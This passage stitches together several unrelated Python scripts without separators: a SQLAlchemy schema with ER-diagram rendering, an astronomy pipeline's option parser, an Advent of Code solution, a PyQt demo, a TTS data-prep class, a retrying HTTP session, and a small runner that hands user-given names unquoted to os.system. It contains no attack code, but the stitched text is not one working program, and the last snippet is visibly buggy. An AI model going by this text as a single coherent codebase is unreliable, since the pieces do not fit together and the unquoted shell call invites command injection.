    name = Column(String(250), nullable=False)

class Address(Base):
    __tablename__ = 'address'
    # Here we define columns for the table address.
    # Notice that each column is also a normal Python instance attribute.
    id = Column(Integer, primary_key=True)
    street_name = Column(String(250))
    street_number = Column(String(250))
    post_code = Column(String(250), nullable=False)
    person_id = Column(Integer, ForeignKey('person.id'))
    person = relationship(Person)

    def to_dict(self):
        return {} """

roles_users = Table(
    "roles_users",
    Base.metadata,
    Column("roles_id", Integer, ForeignKey("roles.id"), primary_key=True),
    Column("users_id", Integer, ForeignKey("users.id"), primary_key=True)
)

class Role(Base):
    __tablename__ = "roles"
    id = Column(Integer, primary_key=True)

class User(Base):
    __tablename__ = "users"
    id = Column(Integer, primary_key=True)
    profile = relationship("Profile", uselist=False) # object
    # roles = relationship("Role", secondary="roles_users") # list
    roles = relationship("Role", secondary=roles_users, backref="users")

"""
class RoleUser(Base):
    __tablename__ = "roles_users"
    roles_id = Column(Integer, ForeignKey("roles.id"), primary_key=True)
    users_id = Column(Integer, ForeignKey("users.id"), primary_key=True)
"""

class Product(Base):
    __tablename__ = "products"
    id = Column(Integer, primary_key=True)

class Priority(Base):
    __tablename__ = "priorities"
    id = Column(Integer, primary_key=True)

class Todo(Base):
    __tablename__ = "todos"
    id = Column(Integer, primary_key=True)
    users_id = Column(Integer, ForeignKey("users.id"), nullable=False)
    user = relationship("User", backref="todos", uselist=False)
    priorities_id = Column(Integer, ForeignKey("priorities.id"), nullable=False)
    priority = relationship("Priority", backref="todos", uselist=False)

class Profile(Base):
    __tablename__ = "profiles"
    id = Column(Integer, primary_key=True)
    users_id = Column(Integer, ForeignKey("users.id"), nullable=False)

## Draw from SQLAlchemy base
render_er(Base, 'diagram.png')


import os
import sys
import logging
import numpy
import astropy.io.fits as pyfits

def cmdline_arg_isset(arg):
    """

    Check if the given argument was given on the command line

    """
    # Go through all command line arguments and check
    # if the requested argument is one of them
    for cur in sys.argv[1:]:
        name,sep,value = cur.partition("=")
        if (name == arg):
            return True
    return False

def get_cmdline_arg(arg):
    """

    Retreive the value of a command-line argument

    """

    # Check all arguments if
    for cur in sys.argv[1:]:
        name,sep,value = cur.partition("=")
        if (name == arg):
            if (sep == ""):
                return None
            return value
    return None

def get_clean_cmdline():
    """

    Return all values entered on the command line with all command-line flags
    removed.

    Example:

        The user called a program ``./podi_something param1 -flag1 -flag2 param2``

        This function would then return a list containing
        ['./podi_something', 'param1', 'param2']

    """

    list = []
    for cur in sys.argv:
        if (cur[0] != "-" or cur[1].isdigit()):
            list.append(cur)
    return list

def cmdline_arg_set_or_default(name, defvalue):
    """

    Return the value of a command line argument. If no argument was passed (for
    example -flag= ), assign the specified default value instead.

    """

    if (cmdline_arg_isset(name)):
        val = get_cmdline_arg(name)
        if (val is None):
            return defvalue
        return val
    return defvalue

def cmdline_arg_set_or_default2(name, defvalue):
    """

    Return the value of a command line argument. If no argument was passed (for
    example -flag= ), assign the specified default value instead.

    """

    if (cmdline_arg_isset(name)):
        val = get_cmdline_arg(name)
        if (val is None):
            return defvalue
        return val
    return False

import podi_sitesetup as sitesetup
from podi_definitions import *

def read_comma_separated_list(inp, ignore_errors=True):

    ret_list = []
    if (type(inp) == list):
        return inp
    elif (inp is None):
        return None
    elif (inp is not None):
        for _in in inp.split(","):
            if (os.path.isdir(_in) or os.path.isfile(_in) or ignore_errors):
                ret_list.append(_in)
    return ret_list

def read_options_from_commandline(options=None, ignore_errors=False):
    """
    Read all command line options and store them in the options dictionary.

    """

    logger = logging.getLogger("ReadOptions")

    if (options is None):
        options = set_default_options()

    options['verbose'] = cmdline_arg_isset("-verbose")

    # Handle all reduction flags from command line
    if (cmdline_arg_isset("-cals")):
        cals_dir = read_comma_separated_list(get_cmdline_arg("-cals"), ignore_errors)
        if (cals_dir == []):
            logger.critical("The specified cals-directory (%s) does not exist!!!" % (
                get_cmdline_arg("-cals")))
            if (not ignore_errors):
                sys.exit(0)

        options['calib_dir'] = cals_dir

        options['bias_dir'] = cals_dir
        options['dark_dir'] = cals_dir
        options['flat_dir'] = cals_dir
        options['techdata'] = cals_dir
        logger.debug("tech-data: %s" % (options['techdata']))

        options['illumcorr_dir'] = cals_dir

    options['bias_dir'] = read_comma_separated_list(
        cmdline_arg_set_or_default("-bias", options['bias_dir']))
    options['dark_dir'] = read_comma_separated_list(
        cmdline_arg_set_or_default("-dark", options['dark_dir']))
    options['flat_dir'] = read_comma_separated_list(
        cmdline_arg_set_or_default("-flat", options['flat_dir']))

    options['bpm_dir']  = cmdline_arg_set_or_default2("-bpm", "auto")

    if (options['verbose']):
        print("""
Calibration data:
            Bias: %s
            Dark: %s
      Flatfields: %s
  Bad pixel mask: %s
""" % (options['bias_dir'], options['dark_dir'], options['flat_dir'], options['bpm_dir']))

    options['gain_correct'] = cmdline_arg_isset("-gain")
    options['gain_method'] = cmdline_arg_set_or_default("-gain", None)

    options['photflat'] = cmdline_arg_set_or_default('-photflat', None)
    options['auto_photflat'] = cmdline_arg_isset("-autophotflat")

    options['persistency_dir'] = cmdline_arg_set_or_default('-persistency', None)

    options["update_persistency_only"] = cmdline_arg_isset("-update_persistency_only")

    options['fringe_dir'] = cmdline_arg_set_or_default2("-fringe", "auto")

        #None if not cmdline_arg_isset("-fringe") \
        #                    else cmdline_arg_set_or_default('-fringe', "auto")
    options['fringe_vectors'] = cmdline_arg_set_or_default("-fringevectors", options['fringe_vectors'])

    options['fixwcs'] = cmdline_arg_isset("-fixwcs")

    # For now assume that the WCS template file is located in the same directory as the executable
    #options['wcs_distortion'] = sitesetup.exec_dir + "/"
    options['wcs_distortion'] = cmdline_arg_set_or_default2("-wcs", "auto") #options['wcs_distortion'])
    # if (not os.path.isfile(options['wcs_distortion']) and
    #     not os.path.isdir(options['wcs_distortion'])):
    #     options['wcs_distortion'] = None

    options['clobber'] = not cmdline_arg_isset("-noclobber")

    # Set the fallback value for undefined pixels (mostly the gaps between the OTA cells)
    # This works perfectly fine in ds9, but not SExtractor
    if (cmdline_arg_isset("-prep4sex")):
        # Check if the user requested us to prepare the frame for SExtractor
        # SExtractor doesn't like NaNs, so replace all of them with something
        # more negative than -1e30 (that's -1 times SEx's BIG variable)
        options['indef_pixelvalue'] = -1e31

    try:
        tmp = float(cmdline_arg_set_or_default('-indefval', numpy.NaN))
        options['indef_pixelvalue'] = tmp
    except:
        pass

    if (cmdline_arg_isset("-wcsoffset")):
        tmp = get_cmdline_arg("-wcsoffset")
        items = tmp.split(',')
        options['offset_pointing'] = [float(items[0]), float(items[1])]
        logger.info("Applying a user-defined WCS offset of %.3f, %.3f arcseconds\n" % (options['offset_pointing'][0], options['offset_pointing'][1]))

    #
    # Read all offsets from command line
    # For convenience, there are two sets of offset parameters, that internally simply
    # get added up. The reason for this is to make specifying them on the command line
    # easier, since the pointing offsets stay constant across a dither pattern, while
    # the dither offsets change.
    #
    options['target_coords'] = None
    options['offset_dither'] = None
    # -target: overwrites the pointing information from the wcs header
    if (cmdline_arg_isset("-target")):
        _target_coords = cmdline_arg_set_or_default("-target", "0,0")
        ra,dummy,dec = _target_coords.partition(",")
        options['target_coords'] = (ra, dec)
    # -pointing: applies a given offset to the pointing position
    if (cmdline_arg_isset("-pointing")):
        _offset_pointing = cmdline_arg_set_or_default("-pointing", "0,0")
        dx,dummy,dy = _offset_pointing.partition(",")
        options['offset_pointing'] = [float(dx), float(dy)]
    # -dither: identical to -pointing
    if (cmdline_arg_isset("-dither")):
        _offset_dither = cmdline_arg_set_or_default("-dither", "0,0")
        dx,dummy,dy = _offset_dither.partition(",")
        options['offset_dither'] = [float(dx), float(dy)]
    #  .
    # /-\
    #  |   This section is likely outdated
    #

    options['central_only'] = cmdline_arg_isset("-centralonly")

    options['bgmode'] = cmdline_arg_isset("-bgmode")

    options['photcalib'] = cmdline_arg_isset("-photcalib")

    options['nonlinearity-set'] = cmdline_arg_isset("-nonlinearity")
    options['nonlinearity'] = cmdline_arg_set_or_default2("-nonlinearity", "auto")

    if (cmdline_arg_isset('-plotformat')):
        inputstr = cmdline_arg_set_or_default("-plotformat", "png")
        options['plotformat'] = inputstr.split(",")
        logger.info("writing plots as %s" % (str(options['plotformat'])))

    options['otalevelplots'] = not cmdline_arg_isset("-nootalevelplots")

    options['structure_qa_subdirs'] = cmdline_arg_isset("-qasubdirs")
    if (cmdline_arg_isset('-qasubdirname')):
        options['structure_qa_subdir_name'] = cmdline_arg_set_or_default('-qasubdirname', "QA")
        options['structure_qa_subdirs'] = True

    options['create_qaplots'] = not cmdline_arg_isset("-noqaplots")

    # Now loop over all headers again and isolate the -addfitskey entries
    for entry in sys.argv[1:]:
        if (entry[:11] == "-addfitskey"):
            key_value = entry[12:]
            comma_pos = key_value.find(",")
            if (comma_pos < 0):
                # no fitsheader given, ignore this one
                continue
            elif (comma_pos > 8):
                logger.warning("FITS keyword given in -addfitskey option (%s) exceeds 8 character limit" % (
                    key_value[:comma_pos]))
                continue
            else:
                key = key_value[:comma_pos]
                value = key_value[comma_pos+1:]
            logger.info("Adding fits keyword %s = %s" % (key, value))

            options['additional_fits_headers'][key] = value

    # Determine which, if any, OTAs are to be skipped
    if (cmdline_arg_isset("-skipota")):
        toskip = cmdline_arg_set_or_default("-skipota", "")
        items = toskip.split(',')
        for i in items:
            options['skip_otas'].append(int(i))

    if (cmdline_arg_isset("-nonsidereal")):
        logger.debug("Found -nonsidereal command line flag")
        value = cmdline_arg_set_or_default("-nonsidereal", None)
        if (value is not None):
            items = value.split(',')
            if (len(items) == 3):
                ns = {}
                ns['dra'] = float(items[0])
                ns['ddec'] = float(items[1])
                ns['ref'] = items[2]
                ns['ref_mjd'] = None
                ns['ref_obsid'] = None
                try:
                    ns['ref_mjd'] = float(ns['ref'])
                    logger.debug("Found reference MJD (%f) on command line" % (ns['ref_mjd']))
                except:
                    if (os.path.isfile(ns['ref'])):
                        hdulist = pyfits.open(ns['ref'])
                        if ("MJD-OBS" in hdulist[0].header):
                            ns['ref_mjd'] = hdulist[0].header['MJD-OBS'] * 1.0
                            ns['ref_obsid'] = hdulist[0].header['OBSID']
                            logger.debug("Found reference MJD (%f) in file %s" % (ns['ref_mjd'], ns['ref']))
                        hdulist.close()
                        del hdulist
                    else:
                        logger.critical("Could not find the reference file for the -nonsidereal option!")
                        logger.critical("Disabling nonsidereal WCS correction")
                    pass
                if (ns['ref_mjd'] is not None):
                    options['nonsidereal'] = ns
            else:
                logger.critical("I don't understand the -nonsidereal parameter")
        logger.debug("non-sidereal setup: %s" % (str(ns)))

    options['fitradialZP'] = cmdline_arg_isset("-fitradialZP")

    options['techdata'] = cmdline_arg_set_or_default("-techdata", options['techdata'])

    options['crj'] = int(cmdline_arg_set_or_default("-crj", 0))
    options['crj_sigclip'] = float(cmdline_arg_set_or_default("-crjsigclip", sitesetup.crj_sigclip))
    options['crj_sigfrac'] = float(cmdline_arg_set_or_default("-crjsigfrac", sitesetup.crj_sigfrac))
    options['crj_objlim'] = float(cmdline_arg_set_or_default("-crjobjlim", sitesetup.crj_objlim))
    options['crj_saturation'] = float(cmdline_arg_set_or_default("-crjsaturation", sitesetup.crj_saturation))
    options['crj_method'] = cmdline_arg_set_or_default("-crjmethod", "cy")

    if (not cmdline_arg_isset('-illumcorr')):
        options['illumcorr_dir'] = None
    else:
        options['illumcorr_dir'] = cmdline_arg_set_or_default("-illumcorr", options['illumcorr_dir'])
        logger.debug("Using illumination correction from %s" % (options['illumcorr_dir']))

    if (cmdline_arg_isset("-keepsex")):
        sitesetup.sex_delete_tmps = False

    options['prestage'] = cmdline_arg_isset("-prestage")

    options['softbin'] = int(cmdline_arg_set_or_default("-softbin", 0))

    if (cmdline_arg_isset("-selectota")):
        str_otas = cmdline_arg_set_or_default("-selectota", "33")
        otas = str_otas.split(",")
        options['selectota'] = [None] * len(otas)
        for idx, ota in enumerate(otas):
            x = int(ota[0])
            y = int(ota[1])
            options['selectota'][idx] = (x,y)

    options['simple-tan-wcs'] = cmdline_arg_isset("-tanwcs")

    options['crosstalk'] = cmdline_arg_set_or_default2("-crosstalk", "auto")

    options['pupilghost_dir'] = cmdline_arg_set_or_default2("-pupilghost", "auto")

    options['trimcell'] = cmdline_arg_set_or_default("-trimcell", None)
    if (options['trimcell'] is not None):
        try:
            options['trimcell'] = int(options['trimcell'])
        except:
            options['trimcell'] = None

    options['compressed_hdu'] = cmdline_arg_isset("-fpack")

    options['keep_cells'] = cmdline_arg_set_or_default2("-keepcells", None)
    if (options['keep_cells'] != False and options['keep_cells'] is not None):
        if (options['keep_cells'] == "most"):
            options['keep_cells'] = [
                '24.04', '24.04', '24.05', '24.06', '24.07', '24.03',
                '24.10', '24.12', '24.14', '24.15', '24.16', '24.17', '24.27',
                '24.00', '24.20', '24.36', '24.44', '24.76',
                '53.61',
                '41.61',
                '14.66',
                '31.11',
                '52.15',
                '44.60']
        else:
            options['keep_cells'] = options['keep_cells'].split(",")
        logger.info("Keeping the following cells: %s" % (",".join(options['keep_cells'])))

    #
    # Set default values to enable some options by default
    #
    default_opts = ['wcs_distortion', 'crosstalk', 'nonlinearity']
    for opt in default_opts:
        if (options[opt] == False and options[opt] is not None and options[opt] not in ["-","no"]):
            options[opt] = None

    options['sextractor_write_fits'] = not cmdline_arg_isset("-asciisex")

    return options

def set_default_options(options_in=None):
    """
    Initialize the options dictionary by defining all available options and
    assigning safe and reasonable default values.

    Parameters
    ----------
    options_in : dictionary

        If a directory already exists, add to it, otherwise create a new one.

    Returns
    -------
    options : dictionary

        The options dictionary with default values set.

    """

    options = {}
    if (options_in != None):
        options = options_in

    # Get directory of the executable. This also serves as the
    # fall-back directory for some data
    options['exec_dir'] = sitesetup.exec_dir

    options['update_persistency_only'] = False
    options['persistency_dir'] = None
    options["persistency_map"] = None
    options['max_persistency_time'] = sitesetup.persistency_duration

    options['fringe_dir'] = None
    options['fringe_vectors'] = None #"%s/.fringevectors/" % (options['exec_dir'])

    options['pupilghost_dir'] = None

    options['bias_dir'] = None
    options['dark_dir'] = None
    options['flat_dir'] = None
    options['bpm_dir']  = None

    options['photflat'] = False
    options['auto_photflat'] = False

    options['gain_correct'] = False
    options['gain_method'] = None

    options['nonlinearity'] = None
    options['nonlinearity-set'] = False

    options['fixwcs'] = False
    options['wcs_distortion'] = None

    options['indef_pixelvalue'] = numpy.NaN

    options['offset_pointing'] = [0,0]
    options['offset_dither'] = [0,0]
    options['target_coords'] = None

    options['verbose'] = False

    options['central_only'] = False

    options['bgmode'] = False

    options['photcalib'] = False

    options['plotformat'] = ['png']
    options['otalevelplots'] = True

    options['additional_fits_headers'] = {}

    options['structure_qa_subdirs'] = False
    options['structure_qa_subdir_name'] = "QA"
    options['create_qaplots'] = True

    options['skip_guide_ota'] = False

    options['log_setup'] = None

    options['skip_otas'] = []

    options['nonsidereal'] = None

    options['fitradialZP'] = False

    options['techdata'] = None

    options['crj'] = 0
    options['crj_sigclip'] = 5.0
    options['crj_sigfrac'] = 0.3
    options['crj_objlim'] = 5.0
    options['crj_saturation'] = -1
    options['crj_method'] = "cy"

    options['illumcorr_dir'] = None

    options['prestage'] = False

    options['softbin'] = 0
    options['selectota'] = None

    options['simple-tan-wcs'] = False

    options['crosstalk'] = None

    options['trimcell'] = None

    options['keep_all_cells'] = False

    options['sextractor_write_fits'] = True

    return options


data = []
with open("day10input.txt") as infile:
    for line in infile:
        cur = line.replace('\n', "").split(" ")
        if len(cur) == 1:
            cur.append('0')
        data.append([cur[0], int(cur[1])])

cycle = 1
register = 1
total = 0

def checkCycle(value):
    if cycle in [20, 60, 100, 140, 180, 220]:
        value += (register * cycle)
    return value

for val in data:
    cycle += 1
    total = checkCycle(total)
    if val[0] == "addx":
        cycle += 1
        register += val[1]
        total = checkCycle(total)

print(total)


#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Created by xiaoming

# 本模块的功能:<>

import sys
from PyQt5.QtWidgets import QWidget, QDesktopWidget, QApplication

class Example(QWidget):

    def __init__(self):
        print('init方法执行')
        super().__init__()
        self.initUI()

    def initUI(self):
        print('initUI方法执行')
        self.resize(250, 150)
        self.center()
        self.setWindowTitle('Center')
        self.show()

    def center(self):
        print('center方法执行')
        qr = self.frameGeometry()
        print('qr:',qr)
        cp = QDesktopWidget().availableGeometry().center()
        print('cp:',cp)
        qr.moveCenter(cp)
        print('qr的topLeft:',qr.topLeft())
        self.move(qr.topLeft())

app = QApplication(sys.argv)
ex = Example()
app.exec()
# sys.exit(app.exec_())

'''

       ┌─┐       ┌─┐ + +
    ┌──┘ ┴───────┘ ┴──┐++
    │                 │
    │       ───       │++ + + +
    ███████───███████ │+
    │                 │+
    │       ─┴─       │
    │                 │
    └───┐         ┌───┘
        │         │
        │         │   + +
        │         │
        │         └──────────────┐
        │                        │
        │                        ├─┐
        │                        ┌─┘
        │                        │
        └─┐  ┐  ┌───────┬──┐  ┌──┘  + + + +
          │ ─┤ ─┤       │ ─┤ ─┤
          └──┴──┘       └──┴──┘  + + + +
                 神兽保佑
                代码无BUG!

'''


from data_gen.tts.vocoder_pre_align import VocoderPreAlign

class LJPreAlign(VocoderPreAlign):
    def meta_data(self):
        for l in open(f'{self.raw_data_dir}/metadata.csv').readlines():
            item_name, _, txt = l.strip().split("|")
            wav_fn = f"{self.raw_data_dir}/wavs/{item_name}.wav"
            yield item_name, wav_fn, txt, 'SPK1'

if __name__ == "__main__":
    LJPreAlign().process()


try:
    from typing import Callable, Optional, Tuple, Type, Union
except ImportError:
    pass

from backoff import expo, full_jitter, on_exception
from requests import RequestException, Response, Session

def giveup_on_client_errors(e):
    # type: (RequestException) -> bool
    return e.response is not None and 400 <= e.response.status_code < 500

class BackoffSession(Session):
    def __init__(
        self,
        exception=RequestException,  # type: Union[Type[Exception], Tuple[Type[Exception]]]  # noqa
        max_tries=10,  # type: int
        max_time=20,  # type: Union[int, float]
        giveup=None,  # type: Optional[Callable[[Exception], bool]]
    ):
        """BackoffSession will retry failed requests.

        :param exception: (Optional) Exception type that BackoffSession
                          recognize as failure.
                          Default: `requests.RequestException`
        :type exception: Union[Type[Exception], Tuple[Type[Exception]]]
        :param max_tries: (Optional) The maximum number of tries before giving
                          up. Default: `10`
        :type max_tries: int
        :param max_time: (Optional) The maximum total time to try before
                         giving up. Default: `20`
        :type max_time: Union[int, float]
        :param giveup: (Optional) Function accepting an exception instance and
                       returning whether or not to give up. The default is to
                       give up when HTTP status code is client error.

        """
        super(BackoffSession, self).__init__()
        self.exception = exception
        self.max_tries = max_tries
        self.max_time = max_time
        self.giveup = giveup or giveup_on_client_errors

    def request(self, *args, **kwargs):
        # type: (...) -> Response
        _request = super(BackoffSession, self).request

        @on_exception(
            wait_gen=expo,
            exception=self.exception,
            max_tries=self.max_tries,
            max_time=self.max_time,
            jitter=full_jitter,
            giveup=self.giveup,
        )
        def decorated():
            response = _request(*args, **kwargs)
            response.raise_for_status()
            return response

        try:
            return decorated()
        except RequestException as e:
            if e.response is not None:
                return e.response
            raise


import os
def code(data):
	e = len(data)
	for i in range(e):
		iscodefile = open("main.py")
		iscodefile.close()
		if (data[i] == "code"):
			lang = i + 1
			if (data[lang] == "" or data[lang] == " "):
				print("Expected lang")
				return None
			file = lang + 1
			if (data[file] == "" or data[file] == " "):
				print("Expected file but got none")
				return None
			try:
				iscodefile = open(f"{data[file]}", 'r')
			except:
				iscodefile.close()
				print(f"{data[file]} is not a file.")
				return None
			iscodefile.close()
			os.system(f"{data[lang]} {data[file]}")